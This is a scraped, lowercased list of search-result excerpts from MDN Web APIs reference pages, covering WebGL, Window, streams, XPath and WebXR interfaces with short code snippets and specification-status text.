WebGLRenderingContext.sampleCoverage() - Web APIs
gl.getparameter(gl.sample_coverage_value); // 0.5 gl.getparameter(gl.sample_coverage_invert); // false specifications specification status comment webgl 1.0the definition of 'samplecoverage' in that specification.
... recommendation initial definition.
WebGLRenderingContext.shaderSource() - Web APIs
examples var shader = gl.createshader(gl.vertex_shader); gl.shadersource(shader, originalsource); var source = gl.getshadersource(shader); specifications specification status comment webgl 1.0the definition of 'shadersource' in that specification.
... recommendation initial definition.
WebGLRenderingContext.stencilFunc() - Web APIs
gl.getparameter(gl.stencil_func); gl.getparameter(gl.stencil_value_mask); gl.getparameter(gl.stencil_ref); gl.getparameter(gl.stencil_back_func); gl.getparameter(gl.stencil_back_value_mask); gl.getparameter(gl.stencil_back_ref); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilfunc' in that specification.
... recommendation initial definition.
WebGLRenderingContext.stencilFuncSeparate() - Web APIs
gl.getparameter(gl.stencil_func); gl.getparameter(gl.stencil_value_mask); gl.getparameter(gl.stencil_ref); gl.getparameter(gl.stencil_back_func); gl.getparameter(gl.stencil_back_value_mask); gl.getparameter(gl.stencil_back_ref); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilfuncseparate' in that specification.
... recommendation initial definition.
WebGLRenderingContext.stencilMask() - Web APIs
gl.getparameter(gl.stencil_writemask); // 110101 gl.getparameter(gl.stencil_back_writemask); // 110101 gl.getparameter(gl.stencil_bits); // 0 specifications specification status comment webgl 1.0the definition of 'stencilmask' in that specification.
... recommendation initial definition.
WebGLRenderingContext.stencilMaskSeparate() - Web APIs
gl.getparameter(gl.stencil_writemask); // 110101 gl.getparameter(gl.stencil_back_writemask); // 110101 gl.getparameter(gl.stencil_bits); // 0 specifications specification status comment webgl 1.0the definition of 'stencilmaskseparate' in that specification.
... recommendation initial definition.
WebGLRenderingContext.stencilOp() - Web APIs
gl.getparameter(gl.stencil_fail); gl.getparameter(gl.stencil_pass_depth_pass); gl.getparameter(gl.stencil_pass_depth_fail); gl.getparameter(gl.stencil_back_fail); gl.getparameter(gl.stencil_back_pass_depth_pass); gl.getparameter(gl.stencil_back_pass_depth_fail); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilop' in that specification.
... recommendation initial definition.
WebGLRenderingContext.stencilOpSeparate() - Web APIs
gl.getparameter(gl.stencil_fail); gl.getparameter(gl.stencil_pass_depth_pass); gl.getparameter(gl.stencil_pass_depth_fail); gl.getparameter(gl.stencil_back_fail); gl.getparameter(gl.stencil_back_pass_depth_pass); gl.getparameter(gl.stencil_back_pass_depth_fail); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilopseparate' in that specification.
... recommendation initial definition.
WebGLRenderingContext.texImage2D() - Web APIs
examples gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.unsigned_byte, image); specifications specification status comment webgl 1.0the definition of 'teximage2d' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.texParameter[fi]() - Web APIs
examples gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear_mipmap_nearest); specifications specification status comment webgl 1.0the definition of 'texparameter[fi]' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.texSubImage2D() - Web APIs
examples gl.texsubimage2d(gl.texture_2d, 0, 0, 0, gl.rgba, gl.unsigned_byte, image); specifications specification status comment webgl 1.0the definition of 'texsubimage2d' in that specification.
... recommendation initial definition for webgl.
WebGLRenderingContext.uniform[1234][fi][v]() - Web APIs
examples gl.uniform1f(u_alpha, 0.8); specifications specification status comment webgl 1.0the definition of 'uniform' in that specification.
... recommendation initial definition.
WebGLRenderingContext.useProgram() - Web APIs
examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.useprogram(program); specifications specification status comment webgl 1.0the definition of 'useprogram' in that specification.
... recommendation initial definition.
WebGLRenderingContext.validateProgram() - Web APIs
\n\n' + info; } gl.useprogram(program); specifications specification status comment webgl 1.0the definition of 'validateprogram' in that specification.
... recommendation initial definition.
WebGLRenderingContext.vertexAttrib[1234]f[v]() - Web APIs
array); // we want to load the following 3x3 matrix into attribute named "matrix3x3" // 0 1 2 // 3 4 5 // 6 7 8 const matrix3x3location = gl.getattriblocation(shaderprogram, 'matrix3x3'); gl.vertexattrib3f(matrix3x3location, 0, 3, 6); gl.vertexattrib3f(matrix3x3location + 1, 1, 4, 7); gl.vertexattrib3f(matrix3x3location + 2, 2, 5, 8); specifications specification status comment webgl 1.0the definition of 'vertexattrib' in that specification.
... recommendation initial definition.
WebGLRenderingContext.viewport() - Web APIs
int32array[0, 0, 640, 480] specifications specification status comment webgl 1.0the definition of 'viewport' in that specification.
... recommendation initial definition.
WebGLShader - Web APIs
ertexshader = createshader(gl, vertexshadersource, gl.vertex_shader) creating a fragment shader var fragmentshadersource = 'void main() {\n' + ' gl_fragcolor = vec4(1.0, 1.0, 1.0, 1.0);\n' + '}\n'; //use the createshader function from the example above var fragmentshader = createshader(gl, fragmentshadersource, gl.fragment_shader) specifications specification status comment webgl 1.0the definition of 'webglshader' in that specification.
... recommendation initial definition.
WebGLShaderPrecisionFormat.precision - Web APIs
examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float).precision; // 23 gl.getshaderprecisionformat(gl.fragment_shader, gl.low_int).precision; // 0 specifications specification status comment webgl 1.0the definition of 'webglshaderprecisionformat.precision' in that specification.
... recommendation initial definition.
WebGLShaderPrecisionFormat.rangeMax - Web APIs
examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float).rangemax; // 127 gl.getshaderprecisionformat(gl.fragment_shader, gl.low_int).rangemax; // 24 specifications specification status comment webgl 1.0the definition of 'webglshaderprecisionformat.rangemax' in that specification.
... recommendation initial definition.
WebGLShaderPrecisionFormat.rangeMin - Web APIs
examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float).rangemin; // 127 gl.getshaderprecisionformat(gl.fragment_shader, gl.low_int).rangemin; // 24 specifications specification status comment webgl 1.0the definition of 'webglshaderprecisionformat.rangemin' in that specification.
... recommendation initial definition.
WebGLShaderPrecisionFormat - Web APIs
var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float); // webglshaderprecisionformat { rangemin: 127, rangemax: 127, precision: 23 } specifications specification status comment webgl 1.0the definition of 'webglshaderprecisionformat' in that specification.
... recommendation initial definition.
WebGLTexture - Web APIs
of the webglrenderingcontext are useful: webglrenderingcontext.bindtexture() webglrenderingcontext.createtexture() webglrenderingcontext.deletetexture() webglrenderingcontext.istexture() examples creating a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); specifications specification status comment webgl 1.0the definition of 'webgltexture' in that specification.
... recommendation initial definition.
WebGLUniformLocation - Web APIs
objects, the following methods of the webglrenderingcontext are useful: webglrenderingcontext.getuniformlocation() webglrenderingcontext.uniform() examples getting an uniform location var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var location = gl.getuniformlocation(webglprogram, 'uniformname'); specifications specification status comment webgl 1.0the definition of 'webgluniformlocation' in that specification.
... recommendation initial definition.
Color masking - Web APIs
it allows us to setup webgl in a single initialization phase, and then just execute drawing commands for each frame.
...by limiting the color channels that are written by each drawing command, you can use each channel, for example, to store a different grayscale image.
Simple color animation - Web APIs
the timer and the timer handler function establish the animation loop, a set of drawing commands that are executed at a regular period (typically, every frame; in this case, once per second).
... timer = setinterval(drawanimation, 1000); // give immediate feedback to user after clicking, by // drawing one animation frame.
Lighting in WebGL - Web APIs
instead of discussing it in depth here, take a look at the article on phong shading at wikipedia, which provides a good overview of the most commonly used lighting model or if you'd like to see a webgl based explanation see this artcle.
... gl.uniformmatrix4fv( programinfo.uniformlocations.normalmatrix, false, normalmatrix); update the shaders now that all the data the shaders need is available to them, we need to update the code in the shaders themselves.
Using textures in WebGL - Web APIs
// until then put a single pixel in the texture so we can // use it immediately.
...this makes the texture immediately usable as a solid blue color even though it may take a few moments for our image to download.
WebGL types - Web APIs
WebAPIWebGL APITypes
specifications specification status comment webgl 1.0the definition of 'types' in that specification.
... recommendation initial definition webgl 2.0the definition of 'types' in that specification.
Introduction to WebRTC protocols - Web APIs
turn some routers using nat employ a restriction called ‘symmetric nat’.
... traversal using relays around nat (turn) is meant to bypass the symmetric nat restriction by opening a connection with a turn server and relaying all information through that server.
WebSocket.readyState - Web APIs
1 open the connection is open and ready to communicate.
... specifications specification status comment html living standardthe definition of 'websocket: readystate' in that specification.
Writing a WebSocket server in C# - Web APIs
first steps websockets communicate over a tcp (transmission control protocol) connection.
...stener(ipaddress.parse("127.0.0.1"), 80); server.start(); console.writeline("server has started on 127.0.0.1:80.{0}waiting for a connection...", environment.newline); tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); } } tcpclient methods: system.net.sockets.networkstream getstream() gets the stream which is the communication channel.
WebXR application life cycle - Web APIs
call navigator.xr.issessionsupported(), specifying the webxr experience mode you want to provide: inline, immersive-vr, or immersive-ar, in order to determine whether or not the type of session you wish to provide is available.
...this is done by calling navigator.xr.requestsession(), again specifying the string indicating the mode you want to enable: inline, immersive-vr, or immersive-ar.
Targeting and hit detection - Web APIs
simplified representative objects one common solution is to overlay simplified, invisible objects atop the objects in your scene.
...most commonly, it refers to "laser imaging, detection, and ranging" or "light detection and ranging").
Web Animations API - Web APIs
concepts and usage the web animations api provides a common language for browsers and developers to describe animations on dom elements.
... specifications specification status comment web animations working draft initial definition ...
Web Audio API best practices - Web APIs
both are legitimate ways of working, however, it's more common to use the former when you are working with full-length tracks, and the latter when working with shorter, more sample-like tracks.
... autoplay policy browsers have started to implement an autoplay policy, which in general can be summed up as: "create or resume context from inside a user gesture".
Example and tutorial: Simple synth keyboard - Web APIs
we will be programmatically constructing the keyboard, because doing so gives us the flexibility to configure each key as we determine the appropriate data for the corresponding note.
...this lets us provide a set of common values and special strings which the browser may optionally choose to display in some fashion; we provide names for the values 0.0 ("mute") and 1.0 ("100%").
Background audio processing using AudioWorklet - Web APIs
this is a very powerful tool in your audio programming toolkit.
... here, for example, we set the value to newvalue, effective immediately.
Using the Web Audio API - Web APIs
controlling sound programmatically from javascript code is covered by browsers' autoplay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist).
... summary great!
Web audio spatialization basics - Web APIs
note: there's also a stereopannernode designed to deal with the common use case of creating simple left and right stereo panning effects.
...on() { let direction = this.dataset.control; if (moving && moving.frameid) { window.cancelanimationframe(moving.frameid); } moving = moveboombox(direction); }, false); window.addeventlistener('mouseup', function() { if (moving && moving.frameid) { window.cancelanimationframe(moving.frameid); } }, false) }) summary hopefully, this article has given you an insight into how web audio spatialization works, and what each of the pannernode properties do (there are quite a few of them).
Attestation and Assertion - Web APIs
the pre-defined attestation formats in webauthn are: packed - a generic attestation format that is commonly used by devices whose sole function is as a webauthn authenticator, such as security keys.
...this attestation format is commonly found in desktop computers and is used by windows hello as its preferred attestation format.
Web Budget API - Web APIs
concepts and usage tbd interfaces budgetservice provides a programmatic interface to the user agent’s budget service.
... specifications specification status comment web budget api draft initial definition.
Web Locks API - Web APIs
ifavailable: if specified, the lock request will fail if the lock cannot be granted immediately without waiting.
... specifications specification status comment web locks api draft initial definition.
Using the Web Storage API - Web APIs
these three lines all set the (same) colorsetting entry: localstorage.colorsetting = '#a4509b'; localstorage['colorsetting'] = '#a4509b'; localstorage.setitem('colorsetting', '#a4509b'); note: it's recommended to use the web storage api (setitem, getitem, removeitem, key, length) to prevent the pitfalls associated with using plain objects as key-value stores.
... specifications specification status comment html living standard living standard ...
Window: beforeunload event - Web APIs
event.returnvalue = ''; }); specifications specification status comment html living standardthe definition of 'beforeunload' in that specification.
... recommendation initial definition ...
Window.blur() - Web APIs
WebAPIWindowblur
syntax window.blur() example window.blur(); notes the window.blur() method is the programmatic equivalent of the user shifting focus away from the current window.
... specification specification status comment html living standardthe definition of 'window.blur()' in that specification.
window.cancelIdleCallback() - Web APIs
summary the window.cancelidlecallback() method cancels a callback previously scheduled with window.requestidlecallback().
... specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition.
Window.close() - Web APIs
WebAPIWindowclose
(firefox 46.0.1: scripts can not close windows, they had not opened) function closecurrentwindow() { window.close(); } specification specification status comment html living standardthe definition of 'window.close()' in that specification.
... recommendation ...
Window.controllers - Web APIs
by default, a window's controller contains the code that supports the global window commands.
... chrome code can add controllers (to be used in conjunction with the godocommand and goupdatecommand functions in globaloverlay.js).
Window.crypto - Web APIs
WebAPIWindowcrypto
r randtext = document.getelementbyid("myrandtext"); randtext.innerhtml = "the random numbers are: " for (var i = 0; i < array.length; i++) { randtext.innerhtml += array[i] + " "; } } html <p id="myrandtext">the random numbers are: </p> <button type="button" onclick='genrandomnumbers()'>generate 10 random numbers</button> result specifications specification status comment web cryptography apithe definition of 'window.crypto' in that specification.
... recommendation initial definition ...
Window.customElements - Web APIs
examples the most common example you'll see of this property being used is to get access to the customelementregistry.define() method to define and register a new custom element, e.g.: let customelementregistry = window.customelements; customelementregistry.define('my-custom-element', mycustomelement); however, it is usually shortened to something like the following: customelements.define('element-details', class extends htmlelement { constructor() { super(); const template = document .getelementbyid('element-details-template') ...
... specification specification status comment html living standardthe definition of 'window.customelements' in that specification.
Window.document - Web APIs
WebAPIWindowdocument
example console.log(window.document.title); specifications specification status comment html living standardthe definition of 'window.document' in that specification.
... recommendation ...
window.dump() - Web APIs
WebAPIWindowdump
notes a common use of dump() is to debug javascript.
...if you don't have one already, closing the application and re-opening it with the command line parameter -console should create the console or use -attach-console to use the existing console.
Window.frameElement - Web APIs
example const frameel = window.frameelement; // if we're embedded, change the containing element's url to 'http://mozilla.org/' if (frameel) { frameel.src = 'http://mozilla.org/'; } specifications specification status comment html living standardthe definition of 'window.frameelement' in that specification.
... candidate recommendation initial specification.
Window.frames - Web APIs
WebAPIWindowframes
example var frames = window.frames; // or // var frames = window.parent.frames; for (var i = 0; i < frames.length; i++) { // do something with each subframe as frames[i] frames[i].document.body.style.background = "red"; } specifications specification status comment html living standardthe definition of 'window.frames' in that specification.
... recommendation ...
Window.history - Web APIs
WebAPIWindowhistory
specifications specification status comment html living standardthe definition of 'the history interface' in that specification.
... recommendation ...
Window.length - Web APIs
WebAPIWindowlength
example if (window.length) { // this is a document with subframes } specifications specification status comment html living standardthe definition of 'window.length' in that specification.
... recommendation ...
Window.locationbar - Web APIs
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>various dom tests</title> <script> var visible = window.locationbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html living standardthe definition of 'window.locationbar' in that specification.
... recommendation ...
Window.matchMedia() - Web APIs
WebAPIWindowmatchMedia
css .mq-value { font: 18px arial, sans-serif; font-weight: bold; color: #88f; padding: 0.4em; border: 1px solid #dde; } result see testing media queries programmatically for additional code examples.
... specifications specification status comment css object model (cssom) view modulethe definition of 'window.matchmedia()' in that specification.
Window.menubar - Web APIs
WebAPIWindowmenubar
<html> <head> <title>various dom tests</title> <script> var visible = window.menubar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html living standardthe definition of 'window.menubar' in that specification.
... recommendation ...
Window.mozInnerScreenX - Web APIs
summary gets the x coordinate of the top-left corner of the window's viewport, in screen coordinates.
... specification not part of any w3c technical specification or recommendation.
Window.mozInnerScreenY - Web APIs
summary gets the y coordinate of the top-left corner of the window's viewport, in screen coordinates.
... specification not part of any w3c technical specification or recommendation.
Window.name - Web APIs
WebAPIWindowname
specifications specification status comment html living standardthe definition of 'window.name' in that specification.
... recommendation ...
window.ondeviceorientation - Web APIs
summary an event handler for the deviceorientation event, which contains information about a relative device orientation change.
...}); specifications specification status comment deviceorientation event specification editor's draft initial specification.
Window.onmozbeforepaint - Web APIs
summary an event handler for the mozbeforepaint event.
... notes this event fires immediately before the browser window is repainted, if the event has been requested by one or more scripts calling window.mozrequestanimationframe().
Window.openDialog() - Web APIs
WebAPIWindowopenDialog
the call to opendialog() returns immediately.
... inside the dialog code, you can set the properties as follows: var retvals = window.arguments[2]; retvals.address = enteredaddress; retvals.delivery = "immediate"; specification this is not part of any specification.
Window.orientation - Web APIs
summary returns the orientation in degrees (in 90-degree increments) of the viewport relative to the device's natural orientation.
... specifications specification status comment compatibility standardthe definition of 'window.orientation' in that specification.
Window: pagehide event - Web APIs
ehide", event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } }, false); this can also be written using the onpagehide event handler property on the window: window.onpagehide = event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } } specifications specification status comment html living standardthe definition of 'pagehide' in that specification.
... recommendation ...
Window: pageshow event - Web APIs
try loading new pages into this tab, then navigating forward and backward through history, noting the events’ output to the log.</p> results specifications specification status comment html living standardthe definition of 'pageshow' in that specification.
... recommendation ...
Window.performance - Web APIs
specifications specification status comment high resolution timethe definition of 'window.performance' in that specification.
... recommendation defines now() method.
Window.personalbar - Web APIs
specifications specification status comment html living standardthe definition of 'window.personalbar' in that specification.
... recommendation ...
Window: popstate event - Web APIs
to better understand when the popstate event is fired, consider this simplified sequence of events that occurs when the current history entry changes due to either the user navigating the site or the history being traversed programmatically.
... if the history traversal is being performed with replacement enabled, the entry immediately prior to the destination entry (taking into account the delta parameter on methods such as go()) is removed from the history stack.
Window.print() - Web APIs
WebAPIWindowprint
however in more recent versions of safari, it may return immediately.
... syntax window.print() specification specification status comment html living standardthe definition of 'print()' in that specification.
Window.requestAnimationFrame() - Web APIs
the number of callbacks is usually 60 times per second, but will generally match the display refresh rate in most web browsers as per w3c recommendation.
... specification specification status comment html living standardthe definition of 'requestanimationframe' in that specification.
window.requestIdleCallback() - Web APIs
a timeout option is strongly recommended for required work, as otherwise it's possible multiple seconds will elapse before the callback is fired.
... specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition.
Window.scrollbars - Web APIs
WebAPIWindowscrollbars
<!doctype html> <html> <head> <title>various dom tests</title> <script> let visiblescrollbars = window.scrollbars.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html living standardthe definition of 'window.scrollbars' in that specification.
... recommendation ...
Window.statusbar - Web APIs
WebAPIWindowstatusbar
specifications specification status comment html living standardthe definition of 'window.statusbar' in that specification.
... recommendation ...
Window.stop() - Web APIs
WebAPIWindowstop
syntax window.stop() example window.stop(); specification specification status comment html living standardthe definition of 'window.stop()' in that specification.
... recommendation browser compatibility the compatibility table in this page is generated from structured data.
Window.toolbar - Web APIs
WebAPIWindowtoolbar
see also: window.locationbar, window.menubar, window.personalbar, window.scrollbars, window.statusbar specifications specification status comment html living standardthe definition of 'window.toolbar' in that specification.
... recommendation ...
WindowOrWorkerGlobalScope.fetch() - Web APIs
signal an abortsignal object instance; allows you to communicate with a fetch request and abort it if desired via an abortcontroller.
... const myinit = { method: 'get', headers: { 'content-type': 'image/jpeg' }, mode: 'cors', cache: 'default' }; let myrequest = new request('flowers.jpg', myinit); specifications specification status comment fetchthe definition of 'fetch()' in that specification.
WindowOrWorkerGlobalScope.isSecureContext - Web APIs
specifications specification status comment secure contextsthe definition of 'windoworworkerglobalscope.issecurecontext' in that specification.
... candidate recommendation initial definition.
WindowOrWorkerGlobalScope.queueMicrotask() - Web APIs
it creates a microtask by using a promise that resolves immediately.
... if (typeof window.queuemicrotask !== "function") { window.queuemicrotask = function (callback) { promise.resolve() .then(callback) .catch(e => settimeout(() => { throw e; })); // report exceptions }; } specifications specification status comment html living standardthe definition of 'self.queuemicrotask()' in that specification.
WindowOrWorkerGlobalScope - Web APIs
the windoworworkerglobalscope mixin describes several features common to the window and workerglobalscope interfaces.
... specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope mixin' in that specification.
WorkerGlobalScope.importScripts() - Web APIs
syntax self.importscripts('foo.js'); self.importscripts('foo.js', 'bar.js', ...); parameters a comma-separated list of domstring objects representing the scripts to be imported.
... specifications specification status comment html living standardthe definition of 'importscripts()' in that specification.
WorkerGlobalScope.performance - Web APIs
specifications specification status comment high resolution time level 2the definition of 'performance' in that specification.
... recommendation defines workerglobalscope.performance.
WorkerGlobalScope - Web APIs
you can specify as many as you'd like, separated by commas.
... specifications specification status comment html living standardthe definition of 'workerglobalscope' in that specification.
WritableStream.WritableStream() - Web APIs
underlyingsink can contain the following: start(controller) optional this is a method, called immediately when the object is constructed.
... specifications specification status comment streamsthe definition of 'writablestream()' in that specification.
WritableStream.abort() - Web APIs
the abort() method of the writablestream interface aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded.
... // abort the stream later on, when required writablestream.abort(); specifications specification status comment streamsthe definition of 'abort()' in that specification.
WritableStream - Web APIs
methods writablestream.abort() aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded.
... specifications specification status comment streamsthe definition of 'writablestream' in that specification.
WritableStreamDefaultWriter.abort() - Web APIs
the abort() method of the writablestreamdefaultwriter interface aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded.
... // abort the stream when desired writer.abort.then((reason) => { console.log(reason); }) specifications specification status comment streamsthe definition of 'abort()' in that specification.
WritableStreamDefaultWriter - Web APIs
methods writablestreamdefaultwriter.abort() aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded.
... specifications specification status comment streamsthe definition of 'writablestreamdefaultwriter' in that specification.
Synchronous and asynchronous requests - Web APIs
xmlhttprequest supports both synchronous and asynchronous communications.
...the recommendation is that developers move away from the synchronous api and instead use asynchronous requests.
XMLHttpRequest.getResponseHeader() - Web APIs
if there are multiple response headers with the same name, then their values are returned as a single concatenated string, where each value is separated from the previous one by a pair of comma and space.
... var client = new xmlhttprequest(); client.open("get", "unicorns-are-teh-awesome.txt", true); client.send(); client.onreadystatechange = function() { if(this.readystate == this.headers_received) { var contenttype = client.getresponseheader("content-type"); if (contenttype != my_expected_type) { client.abort(); } } } specifications specification status comment xmlhttprequestthe definition of 'getresponseheader()' in that specification.
XMLSerializer.serializeToString() - Web APIs
the following types are also permitted as descendants of the root node, in addition to node and attr: documenttype document documentfragment element comment text processinginstruction attr if any other type is encountered, a typeerror exception is thrown.
... specifications specification status comment dom parsing and serializationthe definition of 'serializetostring()' in that specification.
XPathEvaluator.createExpression() - Web APIs
<div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.createexpression()' in that specification.
... recommendation initial definition ...
XPathEvaluator.createNSResolver() - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.creatensresolver()' in that specification.
... recommendation initial definition ...
XPathEvaluator.evaluate() - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var evaluator = new xpathevaluator(); var result = evaluator.evaluate("//div", document, null, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.evaluate()' in that specification.
... recommendation initial definition ...
XPathEvaluator - Web APIs
<div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator' in that specification.
... recommendation initial definition ...
XPathException.code - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexception' in that specification.
... recommendation initial definition ...
XPathException - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexception' in that specification.
... recommendation initial definition ...
XPathExpression.evaluate() - Web APIs
<div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexpression.evaluate()' in that specification.
... recommendation initial definition ...
XPathExpression - Web APIs
> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression(xpath); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexpression' in that specification.
... recommendation initial definition ...
XPathNSResolver.lookupNamespaceURI() - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathnsresolver.lookupnamespaceuri()' in that specification.
... recommendation initial definition ...
XPathNSResolver - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathnsresolver' in that specification.
... recommendation initial definition ...
XPathResult.booleanValue - Web APIs
html <div>xpath example</div> <p>text is 'xpath example': <output></output></p> javascript var xpath = "//div/text() = 'xpath example'"; var result = document.evaluate(xpath, document, null, xpathresult.boolean_type, null); document.queryselector("output").textcontent = result.booleanvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.booleanvalue' in that specification.
... recommendation initial definition ...
XPathResult.invalidIteratorState - Web APIs
"invalid" : "valid"; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.invaliditeratorstate' in that specification.
... recommendation initial definition ...
XPathResult.iterateNext() - Web APIs
matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); var node = null; var tagnames = []; while(node = result.iteratenext()) { tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.iteratenext()' in that specification.
... recommendation initial definition ...
XPathResult.numberValue - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "count(//div)"; var result = document.evaluate(xpath, document, null, xpathresult.number_type, null); document.queryselector("output").textcontent = result.numbervalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.numbervalue' in that specification.
... recommendation initial definition ...
XPathResult.resultType - Web APIs
esult a node set: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); document.queryselector("output").textcontent = result.resulttype >= xpathresult.unordered_node_iterator_type && result.resulttype <= xpathresult.first_ordered_node_type; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.resulttype' in that specification.
... recommendation initial definition ...
XPathResult.singleNodeValue - Web APIs
iv> <div>tag name of the element having the text content 'xpath example': <output></output></div> javascript var xpath = "//*[text()='xpath example']"; var result = document.evaluate(xpath, document, null, xpathresult.first_ordered_node_type, null); document.queryselector("output").textcontent = result.singlenodevalue.localname; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.singlenodevalue' in that specification.
... recommendation initial definition ...
XPathResult.snapshotItem() - Web APIs
//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); var node = null; var tagnames = []; for(var i = 0; i < result.snapshotlength; i++) { var node = result.snapshotitem(i); tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.snapshotitem()' in that specification.
... recommendation initial definition ...
XPathResult.snapshotLength - Web APIs
html <div>xpath example</div> <div>number of matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.snapshotlength' in that specification.
... recommendation initial definition ...
XPathResult.stringValue - Web APIs
html <div>xpath example</div> <div>text content of the &lt;div&gt; above: <output></output></div> javascript var xpath = "//div/text()"; var result = document.evaluate(xpath, document, null, xpathresult.string_type, null); document.queryselector("output").textcontent = result.stringvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.stringvalue' in that specification.
... recommendation initial definition ...
XPathResult - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult' in that specification.
... recommendation initial definition ...
XRBoundedReferenceSpace.boundsGeometry - Web APIs
the specification recommends that browsers shift the points to the nearest 5 centimeters (while avoiding going outside the physical limitations of the hardware).
... specifications specification status comment webxr device apithe definition of 'boundsgeometry' in that specification.
XREnvironmentBlendMode - Web APIs
this is primarily used by fully-immersive vr headsets, which totally obscure the surrounding environment, with none of the real world shown to the user at all.
... specifications specification status comment webxr augmented reality modulethe definition of 'xrenvironmentblendmode' in that specification.
XRFrame - Web APIs
WebAPIXRFrame
events which communicate the tracking state of objects also provide an xrframe reference as part of their structure.
... specifications specification status comment webxr device apithe definition of 'xrframe' in that specification.
XRInputSource - Web APIs
